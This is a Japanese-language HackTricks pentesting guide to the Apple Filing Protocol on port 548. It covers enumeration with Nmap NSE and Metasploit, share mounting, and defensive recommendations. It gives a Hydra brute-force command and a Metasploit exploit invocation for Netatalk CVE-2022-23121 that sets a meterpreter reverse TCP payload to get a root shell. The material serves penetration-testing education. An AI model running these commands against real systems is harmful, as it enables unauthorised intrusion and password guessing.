# 548 - Pentesting Apple Filing Protocol (AFP) {{#include ../banners/hacktricks-training.md}} ## 基本情報 **Apple Filing Protocol** (**AFP**)は、かつてAppleTalk Filing Protocolとして知られていた、**Apple File Service** (**AFS**)に含まれる専門的なネットワークプロトコルです。macOSおよび古典的なMac OSのためのファイルサービスを提供するように設計されています。AFPは、Unicodeファイル名、POSIXスタイルおよびACL権限、リソースフォーク、名前付き拡張属性、洗練されたファイルロックメカニズムをサポートしている点で際立っています。 AFPは、現代のmacOSリリースではSMBに取って代わられています(OS X 10.9以降はSMBがデフォルト)。それでも、以下の環境で遭遇することがあります: * レガシーmacOS / Mac OS 9環境 * オープンソースの**Netatalk**デーモンを組み込んだNASアプライアンス(QNAP、Synology、Western Digital、TrueNAS…) * Time-Machine-over-AFPがまだ有効な混合OSネットワーク **デフォルトTCPポート:** **548**(TCP上のAFP / DSI) ```bash PORT STATE SERVICE 548/tcp open afp ``` --- ## 列挙 ### クイックバナー / サーバー情報 ```bash # Metasploit auxiliary use auxiliary/scanner/afp/afp_server_info run RHOSTS= # Nmap NSE nmap -p 548 -sV --script "afp-* and not dos" ``` 有用なAFP NSEスクリプト: | スクリプト | 何をするか | |--------|--------------| | **afp-ls** | 利用可能なAFPボリュームとファイルをリスト表示 | | **afp-brute** | AFPログインに対するパスワードブルートフォース | | **afp-serverinfo** | サーバー名、マシンタイプ、AFPバージョン、サポートされているUAMなどをダンプ | | **afp-showmount** | 共有とそのACLを一緒にリスト表示 | | **afp-path-vuln** | ディレクトリトラバーサル、CVE-2010-0533を検出(および悪用可能) | NSEブルートフォーススクリプトは、より多くの制御が必要な場合、Hydra/Medusaと組み合わせることができます: ```bash hydra -L users.txt -P passwords.txt afp:// ``` ### シェアとの対話 *macOS* ```bash # Finder → Go → "Connect to Server…" # or from terminal mkdir /Volumes/afp mount_afp afp://USER:[email protected]/SHARE /Volumes/afp ``` *Linux* (using `afpfs-ng` ‑ ほとんどのディストリビューションにパッケージされています) ```bash apt install afpfs-ng mkdir /mnt/afp mount_afp afp://USER:[email protected]/SHARE /mnt/afp # or interactive client afp_client ``` マウントされたら、クラシックMacのリソースフォークは隠し`._*` AppleDoubleファイルとして保存されることを忘れないでください。これらはしばしばDFIRツールが見逃す興味深いメタデータを保持しています。 --- ## 一般的な脆弱性と悪用 ### Netatalkの認証なしRCEチェーン(2022) いくつかのNASベンダーは**Netatalk ≤3.1.12**を出荷しました。`parse_entries()`の境界チェックの欠如により、攻撃者は悪意のある**AppleDouble**ヘッダーを作成し、認証前に**リモートルート**を取得することができます(**CVSS 9.8 – CVE-2022-23121**)。Western-Digital PR4100を悪用するPoCを含むNCC Groupによる完全な詳細が利用可能です。 Metasploit (>= 6.3)は、DSI `WRITE`を介してペイロードを提供するモジュール`exploit/linux/netatalk/parse_entries`を出荷しています。 ```bash use exploit/linux/netatalk/parse_entries set RHOSTS set TARGET 0 # Automatic (Netatalk) set PAYLOAD linux/x64/meterpreter_reverse_tcp run ``` 対象が影響を受けたQNAP/Synologyファームウェアを実行している場合、成功したエクスプロイトは**root**としてシェルを提供します。 ### Netatalk OpenSession ヒープオーバーフロー (2018) 古いNetatalk (3.0.0 - 3.1.11)は、**DSI OpenSession**ハンドラーにおけるバッファオーバーランの脆弱性があり、認証されていないコードの実行を可能にします (**CVE-2018-1160**)。詳細な分析とPoCはTenable Researchによって公開されました。 ### その他の注目すべき問題 * **CVE-2022-22995** – AppleDouble v2が有効な場合に任意のファイル書き込み/RCEを引き起こすシンボリックリンクリダイレクション (3.1.0 - 3.1.17)。 * **CVE-2010-0533** – Apple Mac OS X 10.6 AFPにおけるディレクトリトラバーサル (検出は`afp-path-vuln.nse`による)。 * **Netatalk 4.x (2024)**では複数のメモリ安全性バグが修正されました – 個別のCVEをパッチするよりもアップグレードを推奨します。 --- ## 防御的推奨事項 1. **AFPを無効にする** – SMB3またはNFSを代わりに使用してください。 2. AFPを維持する必要がある場合は、**Netatalkを≥ 3.1.18または4.xにアップグレード**するか、2022/2023/2024のパッチをバックポートしたベンダーファームウェアを適用してください。 3. **強力なUAM**(例:*DHX2*)を強制し、クリアテキストおよびゲストログインを無効にします。 4. TCP 548を信頼できるサブネットに制限し、リモートで公開される場合はAFPをVPN内にラップします。 5. CI/CDで`nmap -p 548 --script afp-*`を定期的にスキャンして、悪意のある/ダウングレードされた機器を検出します。 --- ### [Brute-Force](../generic-hacking/brute-force.md#afp) ## 参考文献 * Netatalkセキュリティアドバイザリー CVE-2022-23121 – "parse_entriesにおける任意のコード実行" * Tenable Research – "18年前のバグを悪用する (CVE-2018-1160)" {{#include ../banners/hacktricks-training.md}}